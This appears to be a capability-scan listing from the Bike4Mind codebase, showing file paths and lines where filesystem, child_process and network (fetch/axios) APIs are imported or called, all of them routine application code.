fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/validate-help-content.ts :20 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/vectorize-help-content.ts :15 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/migrate/index.ts :4 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/migrate/migrations/index.test.ts :1 import { readdirSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkBlueprintManifest.test.ts :2 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkDeprecatedModelUsage.ts :13 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkEmbeddingModelComparisonSites.test.ts :3 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkNoControlBytes.test.ts :4 import fs from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkNoSmartPunctuation.test.ts :4 import fs from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkToolAvailabilityWired.test.ts :3 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/uploadTavernIcons.ts :25 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/syncTranslations.ts :3 import fs, { existsSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/testEmailIngestLambda.ts :33 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/testKnowledgeToolRefusal.ts :57 import { writeFileSync, mkdirSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/check-user-lookup-projection.mjs :22 import { readFileSync, readdirSync, statSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/codemods/__tests__/b4mv3-migrate-facade-imports.test.ts :3 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/codemods/__tests__/db-domain-migrate-deep-imports.test.ts :3 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/codemods/b4mv3-migrate-facade-imports.ts :27 import { readFileSync, writeFileSync, globSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/codemods/db-domain-migrate-deep-imports.ts :24 import { readFileSync, writeFileSync, globSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/local-llm-eval/eval.mjs :2 import { writeFileSync, mkdirSync, readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/local-llm-eval/eval2.mjs :2 import { writeFileSync, mkdirSync, readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/packages-audit-summarize-and-ingest.mjs :3 import fs from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/prowler-summarize-and-ingest.mjs :19 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/secrets-scan-summarize-and-ingest.mjs :3 import fs from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/semgrep-summarize-and-ingest.mjs :3 import fs from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/test-security-alerts.mjs :34 import { readFileSync, unlinkSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/update-b4m-versions.mjs :3 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/scripts/zap-summarize-and-ingest.mjs :3 import fs from 'fs/promises';

shell / exec 50

shell (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/premiumGlueLinking.test.ts :2 import { spawnSync } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/premiumMigrationsCodegenNoSources.test.ts :2 import { execFileSync } from 'node:child_process';
shell Bike4Mind-bike4mind-c7b5854/apps/client/app/serwist/[path]/route.ts :1 import { spawnSync } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/setup-e2e.mjs :3 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/test-waf-auto-reconciliation.mjs :22 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/agents/src/rlm/IsolatedVmExecutor.test.ts :39 const ex = spawn();
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/agents/src/rlm/WorkerReplExecutor.test.ts :30 const w = spawn();
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/hearth/src/hookEvents.test.ts :3 import { spawn } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/hearth/src/identity.test.ts :3 import { spawn } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/hearth/src/presence.test.ts :3 import { spawn } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/bashExecute/ShellSessionManager.test.ts :3 import type { spawn } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/bashExecute/ShellSessionManager.ts :1 import { type ChildProcessWithoutNullStreams, spawn } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/bashExecute/bashExecute.test.ts :3 import { spawn } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/bashExecute/index.ts :2 import { spawn } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/grepSearch/index.ts :5 import { execFile } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/recentChanges/index.ts :2 import { spawn } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/shellSession/shellSession.test.ts :3 import type { spawn } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/sreAgentService/prompts.ts :204 - NEVER include \`eval(\`, \`child_process\`, \`exec(\`, \`Function(\`, or \`execSync\` in proposed code.
shell Bike4Mind-bike4mind-c7b5854/infra/mcp.ts :1 import { execSync } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/agents/BackgroundAgentManager.ts :142 spawn(options: SpawnAgentOptions): string {
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/agents/SubagentOrchestrator.clamp.test.ts :99 await spawn(orchestrator, { parentInteractionMode: 'normal', interactionMode: 'auto-accept' });
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/agents/SubagentOrchestrator.ts :623 // special replacement patterns ($&, $', $`, $1, etc.)
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/doctorCommand.ts :7 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/pluginCommand.test.ts :15 import { execFileSync } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/pluginCommand.ts :8 import { execFileSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/updateCommand.test.ts :31 import { execSync, spawnSync } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/updateCommand.ts :7 import { execSync, spawnSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/features/hearth/__tests__/hearthHook.test.ts :5 import { spawn } from 'node:child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/index.tsx :15 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/runtime/BubblewrapRuntime.integration.test.ts :6 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/runtime/SeatbeltRuntime.integration.test.ts :6 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/CheckpointStore.test.ts :14 import { execFileSync } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/CheckpointStore.ts :3 import { execFileSync } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/tools/findDefinitionTool.ts :5 import { execFile } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/peonNotifier.test.ts :25 import { spawn } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/peonNotifier.ts :20 import { spawn } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/shellRunner.ts :1 import { spawn } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/toolsAdapter.ts :313 * Returns true for errors originating from sandbox-exec (macOS) or bwrap (Linux).
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/updateChecker.test.ts :32 import { execSync } from 'child_process';
shell Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/updateChecker.ts :8 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/test/scripts/refresh-baseline.mjs :16 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/database/src/models/ai/LakeAccessEventModel.test.ts :2 import { execFileSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkEmbeddingModelComparisonSites.test.ts :2 import { execSync } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkNoControlBytes.test.ts :2 import { spawnSync } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkNoRawS3Client.test.ts :2 import { execSync } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkNoSmartPunctuation.test.ts :2 import { spawnSync } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/checkToolAvailabilityWired.test.ts :2 import { execSync } from 'node:child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/src/uploadTavernIcons.ts :28 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/scripts/test-security-alerts.mjs :32 import { execSync } from 'child_process';
shell (weak) Bike4Mind-bike4mind-c7b5854/scripts/update-b4m-versions.mjs :5 import { execSync } from 'child_process';

network 278

net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Files/Browser/ItemActions.tsx :102 const response = await fetch(signedUrl);
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Files/GenerateAudio/useGenerateAudio.test.ts :3 import { AxiosError, AxiosHeaders } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Files/GenerateAudio/useGenerateAudio.ts :2 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Knowledge/DOCXViewer.tsx :13 fetch(fileUrl)
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Knowledge/KnowledgeViewer.tsx :1100 const response = await fetch(currentItem.content.fileUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Knowledge/XLSXViewer.tsx :34 const response = await fetch(fileUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/MultiStepLogin.tsx :196 const strategyResponse = await fetch(`/api/auth/strategy?email=${encodeURIComponent(trimmedEmail)}`);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Notebook/Search/AdvancedSearchDrawer.tsx :317 const response = await fetch('/api/admin/recalculate-message-counts', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ProfileModal/MementosTabContent.tsx :49 import { AxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ProfileModal/NotebookExportModal.tsx :108 const response = await fetch(exportResult.downloadUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ProfileModal/ProfileDataForm.tsx :52 const response = await fetch(
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ProfileModal/PublishedArtifactsTabContent.tsx :26 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ProfileModal/SettingsTabContent/ConnectedAppsSection.tsx :18 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ProfileModal/SettingsTabContent/GeneralSettingsTab.tsx :32 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ProfileModal/SettingsTabContent/VoicePreferenceSection.tsx :3 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ResearchTasks/DiscoveredLink.tsx :5 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ResearchTasks/File.tsx :50 const response = await fetch(fabFile.fileUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/ResearchTasks/Form.tsx :203 // const response = await fetch('/api/utils/fetchTitle', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/AttachFileButton.tsx :25 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/ConversationalVoice/useConversationalVoice.ts :5 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/GoogleDoc.tsx :123 const response = await fetch(apiUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/ImageContainer.tsx :245 const response = await fetch(freshUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/NotebookExecutionButtons.tsx :11 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/PromptReplies.tsx :51 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/VideoContainer.tsx :48 const response = await fetch(src);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/VoiceSessionModal/realtimeConnection.ts :57 const sdpResponse = await fetch('https://api.openai.com/v1/realtime/calls', {
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/__tests__/NotebookExecutionButtons.test.tsx :4 import { AxiosError, AxiosHeaders } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/AdminLogoUpload.tsx :134 const response = await fetch('/api/admin/upload-logo', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/AdminSettingsTab.tsx :177 const response = await fetch('/api/mcp-servers', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/AdminSystemHealthTab.tsx :31 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/ContextInspectorTab.tsx :2 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/DocumentationTab/utils/docData.ts :39 const response = await fetch('/api/documentation/docusaurus-meta');
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/FilesTab/index.tsx :6 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/GitHubConnectionTab.tsx :48 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/RapidReplyTab.tsx :105 // const response = await fetch(url);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/SlackWorkspacesTab.tsx :44 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/SreAgentTab.tsx :68 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/SystemSecretsTab.tsx :44 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/admin/content/apiReferenceContent.ts :1367 1. **Always use the authenticated client.** In the B4M frontend, import \`api\` from \`@client/app/contexts/ApiContext\` rather than using \`fetch()\`. The \`api\` instance handles token refresh, requ
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/commands/ImageGenerationCommand.ts :18 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/commands/LLMCommand.tsx :16 import { AxiosResponse, isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/commands/SetKeyCommand.tsx :3 import { AxiosResponse } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/common/AccessGateEditor.tsx :7 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/common/EmbedAllowlistEditor.tsx :4 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/common/PublishShareModal.tsx :29 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/common/VoiceRecordButton.tsx :200 const uploadResponse = await fetch(url, { method: 'POST', body: uploadForm });
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/layouts/Notebook/Sidenav/CombinedNotebooks.tsx :163 // kicked off their cold-mount fetch, so the eviction forced a second fetch (the 2x cold-load
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/profile/ProfileCollectionSection.tsx :115 const response = await fetch(selectedImage || '');
net Bike4Mind-bike4mind-c7b5854/apps/client/app/components/profile/UserApiKeysTab.tsx :616 listSessions: `const response = await fetch('/api/sessions', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/contexts/AdminSettingsContext.tsx :109 const res = await fetch(`/${PUBLIC_SETTINGS_PATH}`, { credentials: 'omit' });
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/contexts/ApiContext.test.tsx :3 import { AxiosError, type AxiosAdapter, type AxiosResponse, type InternalAxiosRequestConfig } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/contexts/ApiContext.tsx :1 import axios, { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/contexts/UserSettingsContext.tsx :9 import { isAxiosError, isCancel } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/contexts/focusedTabSessionRecovery.test.tsx :4 import { AxiosError, type AxiosAdapter, type AxiosResponse, type InternalAxiosRequestConfig } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/adminOrganizations.ts :2 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/auth.ts :6 import { AxiosError } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/auth.verifyOtc.test.ts :12 import { AxiosError, type AxiosResponse } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/dataLakeWizard.ts :19 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/device-auth.ts :4 import { AxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/invites.ts :15 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/mcpServers.ts :5 import { isAxiosError } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/modals.test.ts :5 import { AxiosError, type AxiosResponse } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/modals.ts :4 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/organizations.ts :10 import { AxiosResponse } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/projects.ts :5 import { AxiosError, isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/researchTasks.ts :12 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/sessions.ts :104 // Mirrors useGetSharedSessions. The initial cold fetch (no cached data) still
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/tag.test.tsx :6 import { AxiosError, type AxiosResponse } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/data/user.ts :35 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useAgentExecution.ts :472 fetch(`/api/agent-executions/${executionId}`, { signal: AbortSignal.timeout(10_000) })
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useAppVersion.ts :7 const response = await fetch('/version.json');
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useAttachmentFitWarning.test.ts :149 /from 'axios'/
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useBlogImageGeneration.ts :99 blob = await fetch(imageUrl).then(r => r.blob());
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useHelpChat.ts :144 const response = await fetch('/api/help/chat', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useHelpContent.ts :18 const response = await fetch(`/help-content/${filePath}`);
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useHelpIndex.ts :27 const response = await fetch('/api/help', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useIntentClassifier.ts :101 const res = await fetch('/api/ai/classify-intent', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/routes/auth/success.tsx :44 const response = await fetch(`/api/users/${userId}`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/routes/notebooks/$id.tsx :8 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/routes/oauth/authorize.tsx :60 fetch('/api/oauth/code', {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/services/adminTools/ModalManagementToolClient.ts :530 const response = await fetch(url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/stores/useAgentExecutionStore.ts :214 * advanced during the fetch (e.g. a permission request that arrived mid-fetch). */
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/blogImageUpload.ts :43 const presignedResponse = await fetch(`${host}/api/posts/images/presigned-url`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/error.ts :1 import { AxiosError, isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/fabFileUtils.tsx :3 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/filesAPICalls.ts :9 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/jupyterBrowserClient.ts :7 * Uses browser-native fetch() and WebSocket APIs.
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/llm.ts :2 import type { AxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/markdownToStyledHtml.ts :131 const res = await fetch(src, { signal: controller.signal });
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/organizationAPICalls.tsx :13 import { AxiosResponse, isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/publishApi.ts :450 const res = await fetch(put.url, {
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/sharingApi.ts :9 import { isAxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/subscriberAPICalls.ts :4 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/uploadFileToUrl.ts :1 import axios, { type AxiosRequestConfig } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/userAPICalls.tsx :9 import axios, { AxiosResponse } from 'axios';
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/global-setup.ts :40 const response = await fetch(cleanupUrl, {
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/global-teardown.ts :20 const r = await fetch(`${baseURL}/api/settings/update`, {
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/helpers/slack.ts :22 await fetch(WEBHOOK_URL, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/email/whats-new-content.ts :13 * - ids: comma-separated list of specific modal IDs to fetch (overrides days filter)
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/cloud-prowler.ts :9 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/code.ts :1 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/packages.ts :1 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/secrets.ts :1 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/security-dashboard/web.ts :7 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/slack-app/create.ts :117 const slackResponse = await fetch('https://slack.com/api/apps.manifest.create', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/slack-app/manifest-status.ts :38 const slackResponse = await fetch('https://slack.com/api/apps.manifest.export', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/slack-app/reconnect.ts :39 const slackResponse = await fetch('https://slack.com/api/apps.manifest.export', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/slack-app/update-manifest.ts :44 const exportResponse = await fetch('https://slack.com/api/apps.manifest.export', {
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/admin/system-health/test-oauth.ts :8 import axios, { AxiosError } from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/agents/[id]/generate-avatar.ts :21 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/ai/voice-sessions/index.ts :23 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/auth/github/disconnect.ts :62 const response = await fetch(`https://api.github.com/applications/${clientId}/grant`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/auth/github/mcp-callback.ts :167 tokenResponse = await fetch('https://github.com/login/oauth/access_token', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/blog-integration/index.ts :72 testResponse = await fetch(`${baseUrl}/api/posts`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/blog/generate-featured-image.ts :10 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/blog/proxy-fabfile-image.ts :6 import axios from 'axios';
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/blog/publish.ts :56 response = await fetch(`${baseUrl}/api/posts`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/chat-completion-status.ts :37 const upstream = await fetch(url, { signal: controller.signal });
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/documentation/docusaurus-meta.ts :81 response = await fetch(productionSitemapUrl, { signal: controller.signal });
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/embed/__tests__/widget.test.ts :103 expect(body).toContain('fetch(');
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/embed/widget.ts :131 fetch(origin + '/api/embed/branding?k=' + encodeURIComponent(key), ctrl ? { signal: ctrl.signal } : undefined)
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/external-image.ts :56 // fetch() still dials the underlying IPv4 address.
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/fabfiles/[id]/apply-edit.ts :67 const contentResponse = await fetch(signedUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/fabfiles/[id]/auto-rename.ts :79 const contentResponse = await fetch(signedUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/fabfiles/[id]/edit.ts :142 const contentResponse = await fetch(signedUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp-servers/atlassian/callback.ts :153 tokenResponse = await fetch('https://auth.atlassian.com/oauth/token', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp-servers/atlassian/disconnect.ts :21 const revokeResponse = await fetch('https://auth.atlassian.com/oauth/token/revoke', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp-servers/atlassian/refresh.ts :29 const tokenResponse = await fetch('https://auth.atlassian.com/oauth/token', {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp-servers/notion/callback.ts :208 tokenResponse = await fetch(NOTION_OAUTH_TOKEN_URL, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp-servers/notion/pages.ts :152 const response = await fetch(`${NOTION_API_BASE_URL}/search`, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp/confirm.ts :207 const response = await fetch(slackFileUrl);
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp/delete-attachment.ts :69 const pageRes = await fetch(`${baseUrl}/pages/${pageId}?body-format=storage`, { headers });
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/mcp/github/repositories.ts :14 // Maximum number of repositories to fetch (safety limit)
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/organizations/[id]/webhooks/github/test.ts :122 const response = await fetch(targetUrl, {
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/publish/serve/[...path].ts :772 // script execution were a UA to ignore nosniff. fetch().text() is unaffected by either.
net (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/publish/serve/__tests__/serve.test.ts :340 expect(data).toContain("fetch('/api/auth/refreshToken'");
net Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/publish/widget.ts :328 return fetch(API, { headers: headers(false), credentials: 'omit', cache: 'no-store' })
